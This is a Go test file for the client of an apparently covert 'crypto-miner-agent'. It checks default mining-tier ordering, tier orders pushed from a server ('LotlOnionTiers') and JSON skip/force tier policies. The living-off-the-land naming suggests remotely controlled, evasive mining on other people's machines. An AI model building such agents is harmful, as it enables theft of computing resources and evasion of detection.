package client

import (
	"encoding/json"
	"testing"

	"crypto-miner-agent/config"
	"crypto-miner-agent/miner"
)

func TestMiningTierPolicyDefaultsWhenEmpty(t *testing.T) {
	c := NewAgentClient(config.RuntimeConfig{})
	policy := c.miningTierPolicy()
	defaults := miner.DefaultMiningTierPolicy()
	if len(policy.TierOrder) != len(defaults.TierOrder) {
		t.Fatalf("tier order len=%d want %d", len(policy.TierOrder), len(defaults.TierOrder))
	}
	if policy.TierOrder[0] != defaults.TierOrder[0] {
		t.Fatalf("first tier=%q want %q", policy.TierOrder[0], defaults.TierOrder[0])
	}
}

func TestApplyAuthLotlPolicyFromServerTiers(t *testing.T) {
	c := NewAgentClient(config.RuntimeConfig{})
	c.applyAuthLotlPolicy(AuthResponse{
		Success:        true,
		LotlOnionTiers: []string{"container", "wsl", "cpu_inprocess"},
	})
	policy := c.miningTierPolicy()
	want := []miner.LOTLTier{miner.TierContainer, miner.TierWSL, miner.TierCPUInprocess}
	if len(policy.TierOrder) != len(want) {
		t.Fatalf("order=%v want %v", policy.TierOrder, want)
	}
	for i := range want {
		if policy.TierOrder[i] != want[i] {
			t.Fatalf("order[%d]=%q want %q", i, policy.TierOrder[i], want[i])
		}
	}
}

func TestApplyMiningTierPolicyJSONSkipTiers(t *testing.T) {
	c := NewAgentClient(config.RuntimeConfig{})
	raw := json.RawMessage(`{"skip_tiers":["exe_subprocess","wsl"],"force_tier":"cpu_inprocess"}`)
	c.applyMiningTierPolicyJSON(raw)
	policy := c.miningTierPolicy()
	if len(policy.SkipTiers) != 2 || policy.SkipTiers[0] != miner.TierExeSubprocess {
		t.Fatalf("skip=%v", policy.SkipTiers)
	}
	if policy.ForceTier != miner.TierCPUInprocess {
		t.Fatalf("force=%q", policy.ForceTier)
	}
}

func TestApplyMiningTierPolicyJSONIgnoresInvalid(t *testing.T) {
	c := NewAgentClient(config.RuntimeConfig{})
	c.applyMiningTierPolicyJSON(json.RawMessage(`not-json`))
	policy := c.miningTierPolicy()
	if len(policy.TierOrder) == 0 {
		t.Fatal("invalid JSON should leave defaults intact")
	}
}